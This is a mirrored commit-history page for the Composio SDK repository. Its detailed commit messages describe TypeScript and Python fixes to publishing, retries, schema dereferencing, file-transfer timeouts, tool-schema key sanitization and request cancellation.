mirror of
https://github.com/ComposioHQ/composio.git
synced 2026-09-22 11:46:35 +08:00
@composio/ts-builders@0.2.0
4275 Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
|
|
de2657c30d |
fix(ts-builders): mark @composio/ts-builders private (do not publish to npm) (#3663)
Replaces #3662 with the opposite (correct) approach: keep `@composio/ts-builders` **internal/unpublished**, not public. This PR: - marks `@composio/ts-builders` as `private: true` so changesets stops attempting to publish it to npm ## Why `@composio/ts-builders` is an internal AST-builder helper consumed **only** by `@composio/cli` (`"@composio/ts-builders": "workspace:*"`). `@composio/cli` is itself `private: true` and is distributed as **bundled Bun binaries via GitHub releases**, not as an npm package — so it bundles its workspace deps and never resolves them from npm. **No package published to npm depends on `ts-builders`.** It was simply missing `private: true`. With the repo-wide changeset `access` default of `restricted` and no `publishConfig.access: public` opt-in, the first-ever publish 404'd in the 2026-06-25 release: ``` E404 404 Not Found - PUT https://registry.npmjs.org/@composio%2fts-builders ``` ## Consistent with existing CLI-only helpers `@composio/cli-keyring` and `@composio/cli-local-tools` are already set up exactly this way — `private: true`, consumed by the CLI via `workspace:*`, intentionally **not on npm**. `ts-builders` now matches them. ## Effect - `changeset publish` skips private packages, so future release runs no longer fail on `ts-builders`. - The CLI keeps consuming it through the workspace (bundled into the binary); npm resolution is never involved. - The 14 packages already published on 2026-06-25 don't reference `ts-builders`, so the published dependency graph is already self-consistent — this only stops the spurious publish failure going forward. No version bump and no `publishConfig` needed.@composio/ts-builders@0.2.0 |
||
|
|
9764ce33ff |
Release: update version (#3616)
This PR was opened by the [Changesets release](https://github.com/changesets/action) GitHub action. When you're ready to do a release, you can merge this and the packages will be published to npm automatically. If you're not ready to do a release yet, that's fine, whenever you add more changesets to next, this PR will be updated. # Releases ## @composio/core@0.12.0 ### Minor Changes -@composio/core@0.12.0 @composio/json-schema-to-zod@0.2.0 @composio/claude-agent-sdk@0.10.0 @composio/cli-keyring@0.2.0 @composio/cli-local-tools@0.1.0 @composio/cloudflare@0.10.0 @composio/vercel@0.10.0 @composio/google@0.10.0 @composio/openai@0.10.0 @composio/mastra@0.10.0 @composio/anthropic@0.10.0 @composio/llamaindex@0.10.0 @composio/langchain@0.10.0 @composio/openai-agents@0.10.0 @composio/cli@0.2.32-beta.274 |
||
|
|
6e7fc24d93 |
fix(ts): disable publint pack under Turbo to fix flaky build ENOENT (#3661)
This PR: - fixes the intermittent `E2E Test CLI (scratch)` → **Build** failure seen on the changeset release PR #3616, where `@composio/anthropic#build` died with: ``` Error: ENOENT: no such file or directory, open '/tmp/tsdown-pack-XXXXXX/composio-anthropic-0.10.0.tgz' ``` - gates `publint` with `!isTurboTask` in `tsdown.config.base.ts`, mirroring the existing ATTW workaround, so neither publish-readiness check packs a tarball under Turbo ## Root cause `tsdown.config.base.ts` already disabled **ATTW** under Turbo to dodge a "tarball path bug for scoped packages", but left **publint** enabled with `pack: 'pnpm'`. In tsdown the pack is shared and runs whenever *either* check is enabled: ```js if (publintConfigs.length || attwConfigs.length) { const tarball = await packTarball(pkg.packageJsonPath); // pnpm pack → temp dir → readdir → readFile ... } ``` So disabling ATTW alone did **not** stop the pack — publint kept triggering it, and with it the intermittent `readdir`-then-`readFile` race where the packed `.tgz` is gone by the time `readFile` runs. It's flaky: this run it hit `@composio/anthropic` while 14 sibling scoped packages packed fine. ## Fix `publint.enabled: true` → `publint.enabled: !isTurboTask`. With both ATTW and publint disabled under Turbo, `packTarball()` is never called in workspace/CI builds, eliminating the race. Direct package builds (no `TURBO_HASH`) keep running both checks with packing — where the bug does not occur. ## Verification (local, `--force` to bypass cache) - **Turbo build before:** `[publint]` runs for every package (packs the tarball) → race surface present. - **Turbo build after:** `0` publint runs, `3 successful, 3 total`, all `🙏 Build succeeded!` → pack step gone. - **Direct build after** (`env -u TURBO_HASH pnpm build` in `providers/anthropic`): both `✔ [attw]` and `✔ [publint]` run and pass → coverage retained off-Turbo. |
||
|
|
0ece269c73 |
docs(py): complete 0.16.0 CHANGELOG before release (#3660)
This PR: - completes the Python `0.16.0` CHANGELOG entry, which previously documented only the version + dependency bump even though six user-facing fixes landed on the unreleased `0.16.0` since the entry was written (`py@0.15.0..HEAD`) - refreshes the `0.16.0` date to its actual release date (`2026-06-25`) - is a prerequisite for tagging `py@0.16.0` and publishing to PyPI — PyPI is currently at `0.15.0`; `0.16.0` was bumped in-repo but never tagged or published, and no further version bump was made for the six follow-up fixes ## Context `0.16.0` is unreleased (PyPI's latest stable is `0.15.0`, there is no `py@0.16.0` tag), and `pyproject.toml` / `__version__.py` were never bumped past `0.16.0`. So these six fixes belong to `0.16.0`, not a new version. The newly documented changes: - file `$ref`/`$defs` dereferencing so auto upload/download flags behind a reference aren't dropped (e.g. `GMAIL_GET_ATTACHMENT`) - disabling retries on non-idempotent `tools.execute()` / `tools.proxy()` writes to prevent duplicate side effects - bounded `(connect, read)` timeouts on session file transfers and presigned S3 paths - centralized provider-visible tool schema aliasing across Anthropic, Claude Agent SDK, Gemini, Google ADK, and OpenAI Agents - deep-copying the OpenAI Agents tool schema before stripping `examples`/`default` Plus the already-noted `composio-client` `1.39.0` → `1.41.0` bump and the dependency-range / uv-lock refresh. Once merged, release with: \`\`\`bash git tag py@0.16.0 <merge-commit> && git push origin py@0.16.0 \`\`\`py@0.16.0 |
||
|
|
f6b5505739 | fix(core): preserve SDK reference types | ||
|
|
4312e0cae3 |
docs: update documentation for new changelog entries (#3458)
## Summary Automated documentation updates triggered by new changelog entries merged to next. Generated by Codex via GitHub Actions. Co-authored-by: github-actions[bot] <github-actions[bot]@users.noreply.github.com> Co-authored-by: jkomyno <alberto@composio.dev> Co-authored-by: Alberto Schiabel <jkomyno@users.noreply.github.com> |
||
|
|
417d614ef9 |
ci: add bump-homebrew-tap workflow (#3355)
## Summary - New workflow that auto-bumps the Homebrew formula in [ComposioHQ/homebrew-tap](https://github.com/ComposioHQ/homebrew-tap) whenever a stable CLI release is published. - Triggers on `release: published` for tags matching `@composio/cli@*`. Skips beta/rc/alpha tags. Also exposes `workflow_dispatch` for manual replay. - Pulls SHA256s from the release's `checksums.txt`, edits `Formula/composio.rb` in the tap repo, and commits/pushes (no-op if already current). ## Setup required before this can run - Create a fine-grained PAT scoped to `ComposioHQ/homebrew-tap` only, with `Contents: read/write`. - Add it as a repo secret named `HOMEBREW_TAP_TOKEN` in this repo. Without that secret the checkout step will fail; the workflow won't break anything else. ## Test plan - [ ] Land this PR - [ ] Add `HOMEBREW_TAP_TOKEN` secret - [ ] Manually run via `workflow_dispatch` with tag `@composio/cli@0.2.28` — should be a no-op (formula already at 0.2.28) - [ ] Verify next CLI release auto-bumps the formula --------- Co-authored-by: Alberto Schiabel <jkomyno@users.noreply.github.com> Co-authored-by: jkomyno <alberto@composio.dev> |
||
|
|
31315357dd |
fix(py): correct without_retries rationale, preserve strict validation, pin copy() contract (#3658)
Review follow-up to #3657 (squash-merged before these review fixes could land on it). No behaviour change to the retry scoping itself — this tightens correctness, docs, and test coverage around the `without_retries` mechanism. - **Correct the `without_retries` caching rationale.** The previous docstring justified caching with "each clone creates a new `ContextVar`, and dynamically-created `ContextVar`s are never garbage-collected." That is false for this code path: `request_ctx` is only ever `.get()`, never `.set()`, so it is reclaimed by refcounting on drop (measured: 500k get-only clones leak ~0 KiB; the CPython leak only occurs with `.set()`). Caching is kept because it avoids constructing a fresh `HttpClient` on every `execute`/`proxy` (the hottest path) — the real, stated justification now. - **Preserve `_strict_response_validation` on the clone.** The Stainless-generated `copy()` drops it, so the no-retry sibling silently reverted to the default (`False`) even when the parent had it enabled. The `copy()` override now threads it through `_extra_kwargs` alongside `provider`, so the sibling differs from the parent only in `max_retries`. - **Document the scope boundary.** The `without_retries` docstring now states that only `tools.execute` / `tools.proxy` are de-retried; other non-idempotent writes (`auth_configs.create`/`update`/`delete`, `mcp.update`/`delete`, `connected_accounts.delete`/`refresh`, `link.create`) keep the default retries (most are naturally idempotent on retry; the durable fix is backend idempotency keys). - **Add regression coverage:** the clone preserves `_strict_response_validation`, plus contract guards pinning the Stainless `copy`/`_extra_kwargs`/`with_options` internals the override relies on — so a `composio_client` regen that breaks the contract fails as an obvious assertion rather than a cryptic `TypeError`. - Minor: fix the `x-sdk-version` `"unknwon"` → `"unknown"` typo and tighten `te.Self` typing on the cache field/property. No changeset (Python-only change; changesets are TypeScript-only). |
||
|
|
0c17fcd9fe |
docs: correct enum-rename slugs in 2026-03-28 changelog (#3391)
## Summary Follow-up to #2941. The "Renamed enum slugs" section of the 2026-03-28 changelog (`docs/content/changelog/03-28-26-tool-consolidation-enum-renames.mdx`) lists 347 Old Enum → New Enum pairs that don't line up with the actual class-name-derived slugs delivered by mercury PR #17949 (commit `12d585aa7e`, "fix: rename low-usage action class names to cleaner slugs"). This PR replaces that section with the verified table. ### How slugs are formed ```python enum = inflection.underscore(cls.__name__).upper() slug = enum if enum.startswith(TOOLKIT) else f"{TOOLKIT}_{enum}" ``` Slug is derived from the **class name** of the action, not the file name and not the `name` attribute. (Source: `mercury/tools/_base/action.py` `set_metadata` / `set_tool`.) ### Audit results vs. existing docs section | Category | Count | |---|---| | Original docs pairs that match PR #17949 exactly | 291 | | Pairs with **wrong New Enum** (PR's actual new differs) | 1 | | Pairs whose **old class never existed** in any commit | 5 | | Pairs that refer to renames done in **other PRs** (or tool removals) | 20 | | Pairs claiming a rename **that never happened** (old class still present at HEAD with original slug) | 30 | | **Real PR #17949 renames missing from docs and still valid at HEAD** | **1,153** | | Total entries originally listed | 347 | | Total entries in this rewrite | **1,445** | ### Notable corrections - `SUPABASE_UPDATES_PROJECT_S_SUPAVISOR_CONFIG` → docs said `SUPABASE_UPDATE_SUPAVISOR_CONFIG`; **actual** is `SUPABASE_UPDATE_PROJECT_SUPAVISOR_CONFIG` (class `UpdateProjectSupavisorConfig` at `apps/supabase/actions/generated/updates_project_s_supavisor_config.py`). - `SLACK_DELETE_MESSAGE` is **not a real slug**. The chat-deletion action is class `DeletesAMessageFromAChat`, slug `SLACK_DELETES_A_MESSAGE_FROM_A_CHAT`. Removed from the table. - All eight `PIPEDRIVE_*A_*` entries (`ADD_A_DEAL`, `ADD_A_NOTE`, `DELETE_A_PERSON`, `GET_DETAILS_OF_A_PERSON`, `LIST_PARTICIPANTS_OF_A_DEAL`, `UPDATE_A_DEAL`, `UPDATE_A_LEAD`, `UPDATE_A_PERSON`) still exist at HEAD with their original slugs — removed from the renames table. - 14 Slack entries that claimed renames (e.g. `SLACK_FETCH_TEAM_INFO` → `SLACK_GET_TEAM_INFO`) were never executed; class names still match the original slug. Removed. - Whole toolkits previously omitted that PR #17949 actually renamed and that remain valid at HEAD: PostHog (179), Trello (63), Salesforce (41), Vercel (39), Twitter (36), Google Analytics (25), Dropbox (18), Icypeas (5), Reddit (2), YouTube (2), Apollo, Facebook, Hyperbrowser, Telegram (1 each). ### Front-matter description / intro paragraphs Updated count from "1,545 enum slugs across 24 toolkits" → "1,445 enum slugs across 37 toolkits" to match the rewritten table. ### Out of scope This PR does **not** change the "Deprecated tools" or "Consolidated (removed) tools" sections — those describe a different consolidation effort and are unrelated to the class-rename audit. ## Test plan - [ ] Spot-check 10–20 random entries from the rewritten table against the actual class definition in `mercury` (`apps/<toolkit>/actions/`) to confirm `inflection.underscore(cls.__name__).upper()` matches the listed New Enum. - [ ] Confirm `<Accordions>...</Accordions>` block renders correctly on `docs.composio.dev` preview. - [ ] Confirm none of the 30 "rename never happened" entries listed in the audit show up in the new table. --------- Co-authored-by: Alberto Schiabel <jkomyno@users.noreply.github.com> |
||
|
|
09b552aa03 |
fix(py): disable retries on non-idempotent tool writes to prevent duplicate side effects (#3657)
This PR: - stops the Python SDK from silently retrying `tools.execute` and `tools.proxy`, which are non-idempotent POST writes. The Stainless-generated client retries POSTs by default (`max_retries=2`) on read timeouts, 429, 5xx, and connection errors. A read timeout is unsafe to retry — the request may already be in flight on the backend — so a retry can duplicate the side effect, e.g. send an email twice. Reported in https://github.com/ComposioHQ/composio/issues/3586 - routes both write paths through a new `client.without_retries` — a cached, retry-disabled (`max_retries=0`) clone of the `HttpClient`. Reads and lists keep the default retries, so resilience is unchanged for idempotent calls - overrides `HttpClient.copy()` to re-inject the required `provider` keyword and re-aliases `with_options`, since the generated `copy()` rebuilds via `self.__class__(...)` without `provider` — previously `with_options(max_retries=0)` raised `TypeError` on the subclass - caches the no-retry sibling instead of cloning per call: each clone creates a new `ContextVar`, and dynamically-created `ContextVar`s are never garbage-collected - adds `tests/test_no_retry_writes.py`: writes hit the transport exactly once on a retryable 5xx, reads still retry-then-succeed (proving the scoping), and a regression guard for the `copy()` override - interim fix only — the durable solution is idempotency keys, tracked in https://github.com/ComposioHQ/composio/issues/3654 (gated on backend support), which supersedes this once available No changeset (Python-only change; changesets are TypeScript-only). |
||
|
|
95b7b7f649 |
fix(openai_agents): deep-copy tool schema before stripping examples/default (#3632)
## Problem `OpenAIAgentsProvider.wrap_tool` mutates the caller's `Tool.input_parameters`. It shallow-copies the schema and then strips keys from the nested property dicts **in place**: ```python modified_schema = tool.input_parameters.copy() # shallow copy modified_schema["additionalProperties"] = False _remove_examples_from_schema(modified_schema) # del prop["examples"/"pattern"/"default"] ``` `_remove_examples_from_schema` recurses into `schema["properties"][*]` and does `del prop_value["examples"]`, `del prop_value["pattern"]`, `del prop_value["default"]`. Because `dict.copy()` is shallow, `modified_schema["properties"]` (and every nested property dict) is the **same object** as the original, so those deletions strip `examples`/`pattern`/**`default`** out of the caller's `Tool.input_parameters`. Since essentially every Composio tool carries `default`/`examples` on its properties, wrapping a tool silently corrupts its schema. Wrapping the same `Tool` twice, reusing it with another provider, or inspecting it after wrapping then sees the defaults gone. This is the only wrap path using a shallow `.copy()` + nested mutation — the rest of the codebase deep-copies before mutating schemas, e.g. `composio/utils/shared.py` (`schema = copy.deepcopy(schema)`, with the docstring *"The schema is deep-copied before any mutation so the caller's original is never modified."*) and `Tools._get` (`tool.model_copy(deep=True)`). ## Fix Deep-copy the schema before mutating (`copy.deepcopy(tool.input_parameters)`), so `_remove_examples_from_schema` only edits the provider-local copy. One-line change + `import copy`. ## Test Added `python/providers/openai_agents/tests/test_provider.py::test_wrap_tool_does_not_mutate_input_parameters` — builds a tool whose properties carry `default`/`examples`/`pattern`, snapshots `input_parameters`, calls `wrap_tool`, and asserts both sides of the contract: - the caller's original `Tool.input_parameters` is unchanged - the returned `FunctionTool.params_json_schema` is still normalized for OpenAI Agents (`additionalProperties: false`, with `default`/`examples`/`pattern` stripped) - **Before:** the assertion fails — `owner` loses `default`/`examples`, `repo` loses `pattern`. - **After:** `Tool.input_parameters` is untouched while the wrapped schema remains sanitized. Verification: - `uv run pytest python/providers/openai_agents/tests/test_provider.py -q` → **1 passed** - `uv run ruff check python/providers/openai_agents/composio_openai_agents/provider.py python/providers/openai_agents/tests/test_provider.py` → clean - `uv run ruff format --check python/providers/openai_agents/composio_openai_agents/provider.py python/providers/openai_agents/tests/test_provider.py` → clean Co-authored-by: ly-wang19 <ly-wang19@users.noreply.github.com> |
||
|
|
d94a49ff43 |
fix(py): centralize tool schema aliasing (#3652)
This PR: - supersedes https://github.com/ComposioHQ/composio/pull/3625, https://github.com/ComposioHQ/composio/pull/3629, and the Python SDK/provider-side fix proposed by https://github.com/ComposioHQ/composio/pull/3504 - adds `alias_tool_input_schema` / `restore_tool_arguments` for provider-visible schemas and backend argument restoration - keeps `substitute_reserved_python_keywords` / `reinstate_reserved_python_keywords` as compatibility wrappers - preserves the existing Python keyword alias style (`from` -> `from_rs`), aliases invalid Python parameter names like `$top`, avoids leading-underscore aliases so Pydantic-backed providers can build models, and caps aliases at 64 characters for Anthropic-style tool schema validators - dereferences internal `$ref` / `$defs` before aliasing so referenced object properties are exposed through the same safe provider-visible names - restores Gemini manual `handle_response` arguments with the per-tool alias map before execution - wraps Google ADK tools with aliased callable signatures and restores original backend argument names - wraps Anthropic and Claude Agent SDK tool schemas with the same shared alias map and restores original backend argument names before execution - fixes the package-local Claude Agent SDK provider tests so they run without `pytest-asyncio` and keep using the provider-visible schema conversion hook - adds dependency-light core tests for helper behavior, `$ref` aliasing, Pydantic model compatibility, Gemini manual response, Google ADK wrapping, Anthropic wrapping, and Claude Agent SDK wrapping Local validation: - `uv run --project python pytest python/tests/test_tool_schema_aliasing.py python/tests/test_schema_parser.py python/tests/test_json_schema.py python/tests/test_imports.py -q` -> 112 passed - `PYTHONPATH=python uv run --project python --with-editable ./python/providers/claude_agent_sdk pytest python/providers/claude_agent_sdk/tests/test_provider.py -q --timeout=20` -> 16 passed - `uv run --project python --with-editable ./python/providers/langchain pytest --ignore-glob='python/tests/test_type_inference*.py' python/tests/ -q` -> 742 passed, 31 skipped - `uv run --project python --with-editable ./python --with-editable ./python/providers/langchain python <LangChain $top wrap smoke>` -> wrapped args schema field `param_top` - `uv run --project python --with-editable ./python --with-editable ./python/providers/langgraph python <LangGraph $top wrap smoke>` -> wrapped args schema field `param_top` - `uv run --project python ruff check --config python/config/ruff.toml python/composio/utils/shared.py python/tests/test_tool_schema_aliasing.py` -> passed - `uv run --project python ruff format --check --config python/config/ruff.toml python/composio/utils/shared.py python/tests/test_tool_schema_aliasing.py` -> passed - `git diff --check` -> passed Note: #3500's hosted MCP emission-layer report is already closed; this PR covers the Python SDK/provider surface rather than changing hosted MCP schema emission. |
||
|
|
aeeb471c63 |
fix(py): resolve $ref/$defs so file flags behind a reference aren't dropped (#3653)
## Problem
Tools whose parameter schemas express their file fields through a
`$ref`/`$defs` indirection lose auto file handling. With
`dangerously_allow_auto_upload_download_files=True`, a
`file_downloadable` output behind a `$ref` is never downloaded (the raw
`{name, mimetype, s3url}` object is passed through), and a
`file_uploadable` input behind a `$ref` is never staged — silently, with
no error.
`GMAIL_GET_ATTACHMENT` is the canonical shape — the flag sits two `$ref`
hops deep:
```
data → $ref → #/$defs/GetAttachmentResponse → file → $ref → #/$defs/FileDownloadable (file_downloadable: true)
```
**Root cause:** the hand-rolled walkers in
`composio/core/models/_files.py` (`_has_file_property`,
`_substitute_file_upload_value`, `_substitute_file_download_value`, …)
recurse through `properties`/`anyOf`/`oneOf`/`allOf`/`items` but **never
dereference `$ref`**, so a flagged node reachable only through a
reference is invisible to them.
Fixes https://github.com/ComposioHQ/composio/issues/3506
## Approach
Rather than teach each walker to dereference — which means threading a
root schema through ~10 methods, re-deriving `$ref` handling in each,
and risking unbounded recursion on cyclic schemas — this introduces a
single **`dereference_json_schema`** utility and inlines references
**once at the `FileHelper` boundary** (`process_file_uploadable_schema`,
`substitute_file_uploads`, `substitute_file_downloads`). The walkers
stay reference-agnostic.
This mirrors the TypeScript SDK's `dereferenceJsonSchema` (the
counterpart fix in #3566 for the TS twin of this bug, #3307) so both
SDKs share one behavioral contract. Resolving once at the boundary also
gives every walker `$ref` support for free — including keywords they
never special-cased (`additionalProperties`, `patternProperties`,
`prefixItems`, `not`), because the resolver walks containers
reflectively.
## What's in the utility (`composio/utils/json_schema.py`)
Faithful port of the TS guards:
- **Cycle safety** — breaks both `$ref` cycles and live-object identity
cycles with a permissive `{type: object, additionalProperties: true}`
sentinel. (A per-node lazy resolver without threaded cycle tracking
infinite-loops on a self-referential schema; there's a regression test
for exactly this.)
- **Depth caps** — `MAX_REF_CHAIN_DEPTH=100` / `MAX_NODE_DEPTH=512`
raise a typed `JSONSchemaRefResolutionError` instead of exhausting the
interpreter (with a `RecursionError` backstop converted to the same
typed error).
- **Sibling-keyword merge** — Draft 2020-12 semantics (siblings win on
collision), so a `description`/`default` next to a `$ref` survives.
- **External-ref passthrough** — `http(s)://` refs are left untouched
and logged once for audit.
- **`sentinel` mode** — a dangling `$ref` (an API schema that emits
`$ref` with no `$defs` block,
https://github.com/ComposioHQ/composio/issues/3307) degrades to the
permissive sentinel + an LLM-visible hint, instead of aborting the tool
call. The `FileHelper` uses this mode for API-sourced schemas.
- **Non-mutating** — returns a new schema; `$defs`/`definitions` are
stripped from the inlined root.
## Tests
- `python/tests/test_json_schema.py` — 30 cases mirroring the TS
`jsonSchema.test.ts` contract (chains, reflective container walk, legacy
`definitions`, sibling merge, cycles, depth caps, pointer-escape
decoding, array-index pointers, full `sentinel`-mode suite).
- `python/tests/test_files.py` — end-to-end regressions through the
public methods: download/upload behind `$ref`/`$defs` (the #3506 repro),
the LLM-facing input transform, graceful degradation of a dangling
`$ref`, and a **self-referential schema that must not recurse
infinitely**.
- `nox -s chk` (ruff + mypy) green; `nox -s tst` for the file/execution
suites green.
## Notes
Supersedes #3545 (third-party PR that fixed the same bug by threading
`root_schema` through each walker). That diagnosis was correct; this
takes the centralized route consistent with the TS SDK and adds the
cycle/depth guards. No changeset — Python-package change.
|
||
|
|
dd40a9bb6f |
fix(py): bound file transfer requests with timeouts (#3563)
## Summary - add bounded `(connect, read)` timeouts to Python SDK session file downloads and uploads - add the same timeout coverage to presigned S3 upload/download paths used by file helpers - convert timeout/request failures into the SDK's existing file errors and cover them with tests Fixes #3560 Fixes #3561 Fixes #3562 ## Changes - `RemoteFile.buffer()` now uses the existing file transfer timeout constants and preserves file context on request failures - `ToolRouterSessionFilesMount.upload()` and S3 upload helpers now bound presigned `PUT` requests - `FileDownloadable.download()` now bounds streaming `GET` requests, wraps streaming read failures, and closes the response - added regression tests for request timeouts and timeout arguments - added a changeset for the published SDK change ## Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor/Chore - [ ] Documentation - [ ] Breaking change ## How Has This Been Tested? - [x] `D:\anaconda3\envs\yolov12\python.exe -m ruff check python\composio\core\models\tool_router_session_files.py python\composio\core\models\_files.py python\tests\test_tool_router_session_files.py python\tests\test_files.py` - [x] `D:\anaconda3\envs\yolov12\python.exe -m ruff format --check python\composio\core\models\tool_router_session_files.py python\composio\core\models\_files.py python\tests\test_tool_router_session_files.py python\tests\test_files.py` - [x] `COMPOSIO_CACHE_DIR=<repo>\.tmp-composio-cache D:\anaconda3\envs\yolov12\python.exe -m pytest python\tests\test_tool_router_session_files.py python\tests\test_files.py::TestUploadBytesToS3 python\tests\test_files.py::TestFileDownloadablePathTraversal::test_safe_filename_passes_through python\tests\test_files.py::TestFileDownloadablePathTraversal::test_download_uses_timeout python\tests\test_files.py::TestFileDownloadablePathTraversal::test_download_timeout_raises_error python\tests\test_files.py::TestFileDownloadablePathTraversal::test_download_stream_timeout_raises_error` Note: I also ran the full `python\tests\test_tool_router_session_files.py python\tests\test_files.py` pair locally. The new and related tests passed, but the full run has one pre-existing Windows-specific failure in `TestFileDownloadablePathTraversal::test_empty_name_safe_fails_at_write_time`: opening a directory for writing raises `PermissionError` on Windows instead of the test's expected `IsADirectoryError`. ## Screenshots (if applicable) N/A ## Checklist - [x] I have read the Code of Conduct and this PR adheres to it - [x] I ran linters/tests locally and they passed - [ ] I updated documentation as needed - [x] I added tests or explain why not applicable - [x] I added a changeset if this change affects published packages ## Additional context This keeps the existing `(5s connect, 60s read)` timeout convention already used by the Python SDK's URL fetch helpers. --------- Co-authored-by: jkomyno <alberto@composio.dev> |
||
|
|
507318d56a |
fix(anthropic): harden tool property-key sanitizer (#3650)
This PR (builds on https://github.com/ComposioHQ/composio/pull/3649, already merged) hardens the Anthropic tool property-key sanitizer from a multi-agent review, then extracts the mechanism into a reusable core util. **Touches two packages:** `@composio/core` (new util) and `@composio/anthropic` (consumes it). ### Correctness / robustness - **Prototype-safe restoration** — reverse maps and the rebuilt argument object are `Object.create(null)`, so a tool call using a key matching an `Object.prototype` member (`__proto__`, `constructor`, `toString`, `hasOwnProperty`, …) no longer throws a `TypeError` or silently corrupts the backend payload, and `Object.prototype` is never mutated. - **Full schema coverage** — illegal keys are sanitized wherever they appear: `allOf`/`anyOf`/`oneOf`, `not`/`if`/`then`/`else`, `prefixItems`, `additionalProperties`/`patternProperties`, `$defs`/`definitions`. Renames inside composition keywords fold into the value level they share and restore correctly (a mixed array/object `anyOf` resolves by value type at restore time). - **`$ref` keys restored** — `wrapTool` now dereferences internal `$ref`/`$defs` (lenient `sentinel` mode) before sanitizing, so keys reachable only through a reference are both made compliant and restored. - **Depth cap (512)** on sanitization and restoration — a pathologically deep schema/argument fails with a clear error instead of overflowing the stack. - **Empty / all-illegal keys** become a deterministic non-empty alias instead of `''` (which would itself violate `{1,64}`). - **Collision loop** — replaced a latent non-terminating fixed point with a counter that always makes progress. ### Architecture - **Extracted to core** — `sanitizeSchemaPropertyKeys(schema, policy)` / `restoreOriginalKeys` / `mappingHasRenames` (+ `KeyMapping` / `KeySanitizationPolicy`) now live in `@composio/core`, alongside `normalizeToolArguments`. The traversal, collision handling, prototype guard and depth cap are provider-agnostic; the Anthropic constraint is injected as a `KeySanitizationPolicy` defined in the provider's `sanitize-keys.ts`, which also re-exports a policy-bound `sanitizeSchemaPropertyKeys` plus core's restore side so call sites import from one place. - **`wrapTool` → `executeToolCall` contract** documented (same provider instance) and instrumented with `debug` logs on the rewrite/restore paths; re-wrapping a slug refreshes or clears its mapping. - Dropped the inaccurate "mirrors the Python SDK" comment and two `as unknown as` casts. ### Known limitations Both cases below leave a value reaching the backend un-restored — still strictly better than the whole `tools` array 400-ing. - **Dynamic-key positions.** After dereferencing, only genuinely dynamic-key positions remain rewrite-only (not restored): `additionalProperties`, `patternProperties`, and `contains`. These can't be tied to a concrete value location without per-key schema association. - **Composition-branch key collisions.** When sibling `allOf`/`anyOf`/`oneOf` branches fold into their shared value level, two branches that sanitize different illegal keys to the *same* alias — or one branch whose alias equals a legitimately-named property in another branch — keep only the first-seen reverse mapping, so an argument satisfying the other branch restores to the wrong original name. Recovering which branch a runtime value matched needs full schema evaluation against the value; these collisions are rare in OpenAPI-derived schemas. (Documented on `mergeMappingInto`.) ### Testing Locally verified: `tsc --noEmit` clean on the core util and provider sources (0 own-file diagnostics); ESLint clean; Prettier-formatted; the full `@composio/core` (951) and `@composio/anthropic` (51) vitest suites pass after a fresh `pnpm --filter @composio/core build` (the earlier `picocolors` caveat from #3649 was a stale `@composio/core/dist`; rebuilding core clears it). **Please confirm CI is green before merging.** |
||
|
|
f254d1333a |
docs: update contributing guide for current repo (#3651)
This PR: - supersedes https://github.com/ComposioHQ/composio/pull/3535 and credits @eldar702 for the original `CONTRIBUTING.md` refresh - closes https://github.com/ComposioHQ/composio/issues/3487 - refreshes the repo layout around `ts/`, `python/`, `docs/`, and root release/install tests - documents the current `mise.toml` toolchain and removes stale Corepack, `.nvmrc`, `.bun-version`, and top-level `packages/` guidance - replaces the strict file-header requirement with current TypeScript/Python coding standards - adds current TypeScript e2e, Python, docs-site, changeset, and release-doc pointers - verifies documented paths, package scripts, Python make targets, Prettier, and whitespace checks locally Co-authored-by: Eldar Shlomi <eldarshlomi7@gmail.com> |
||
|
|
dfd7a0846d |
feat(core): add AbortSignal cancellation to public SDK methods + ComposioRequestCancelledError (#3463)
# Description
Add per-request cancellation to every public SDK method via
`AbortSignal`, and surface caller-initiated aborts as a typed
`ComposioRequestCancelledError`.
## API
For `tools.get` and `tools.execute`, pass `signal` directly in the
options bag (3rd arg) alongside modifiers — no placeholder needed:
```typescript
// Timeout a slow search
const tools = await composio.tools.get('user_1', {
search: 'send email',
}, { signal: AbortSignal.timeout(5_000) });
// Cancel an execution, with modifiers
const result = await composio.tools.execute('TOOL', body, {
signal: AbortSignal.timeout(10_000),
beforeExecute: ({ params }) => params,
});
// Detect cancellation
try {
await composio.tools.execute(slug, body, { signal: AbortSignal.timeout(5_000) });
} catch (err) {
if (err instanceof ComposioRequestCancelledError) return;
throw err;
}
```
For other methods, pass as a trailing argument:
```typescript
await composio.authConfigs.list(query, { signal: AbortSignal.timeout(5_000) });
await composio.connectedAccounts.get(id, { signal: AbortSignal.timeout(5_000) });
```
## Cancellation contract
- `withCancellation()` normalizes any abort error into
`ComposioRequestCancelledError` (code `TS-SDK::REQUEST_CANCELLED`)
- `isRequestAbortError()` detects `APIUserAbortError` via `instanceof`
(required because `.name === "Error"` at runtime), with fallbacks for
dual-package hazard and generic `AbortError`
- Catch-and-wrap paths in `execute` / `getRawComposioToolBySlug` /
`toolkits.get` re-throw cancellation before domain error wrapping
- **Post-execute safety**: if the signal fires after the remote tool
already executed, the result is returned (not thrown) — prevents callers
from retrying non-idempotent operations
- Custom-tool cancellation is cooperative: signal is exposed via the
`ctx` arg so user code can wire it into `fetch`
## Coverage
Tools, Toolkits, AuthConfigs, ConnectedAccounts, Triggers, MCP,
ToolRouter, ToolRouterSession — every public method that does HTTP I/O.
# How did I test this PR
- `pnpm exec vitest run` — 666 tests pass (25 pre-existing fileModifiers
failures unchanged)
- `pnpm typecheck` — 11/11 clean
- CI: Typecheck, Build, Audit, Test, all 5 E2E runtimes (Node
20.18/20.19/22.12, Deno, Cloudflare), secrets scan — all green
🤖 Generated with [Claude Code](https://claude.com/claude-code)
---------
Co-authored-by: Claude Opus 4.7 <noreply@anthropic.com>
Co-authored-by: jkomyno <alberto@composio.dev>
|
||
|
|
c90ae95f43 |
fix(anthropic): sanitize illegal/over-long tool property keys for Messages API (#3649)
## Problem
Anthropic's Messages API validates every tool `input_schema` property
key against `^[a-zA-Z0-9_.-]{1,64}$`. A single non-conforming key makes
the API reject the **entire** `tools` array with HTTP 400, so one bad
tool takes down every other tool in the same request (e.g. a subagent
that loads all MCP schemas up front dies before running anything).
The `@composio/anthropic` provider passed `tool.inputParameters`
straight through as `input_schema` with no key sanitization, so two real
cases break:
- **Illegal characters** — OneDrive exposes Microsoft Graph OData
parameters as schema keys: `$top` / `$filter` / `$skip` / `$orderby` and
`@microsoft.graph.conflictBehavior`. `$` and `@` are outside the allowed
set.
- **Length** — `__`-flattened nested keys can exceed 64 characters
(several Zoom tools).
Fixes #3500. TypeScript-side counterpart to the Python fix in #3504;
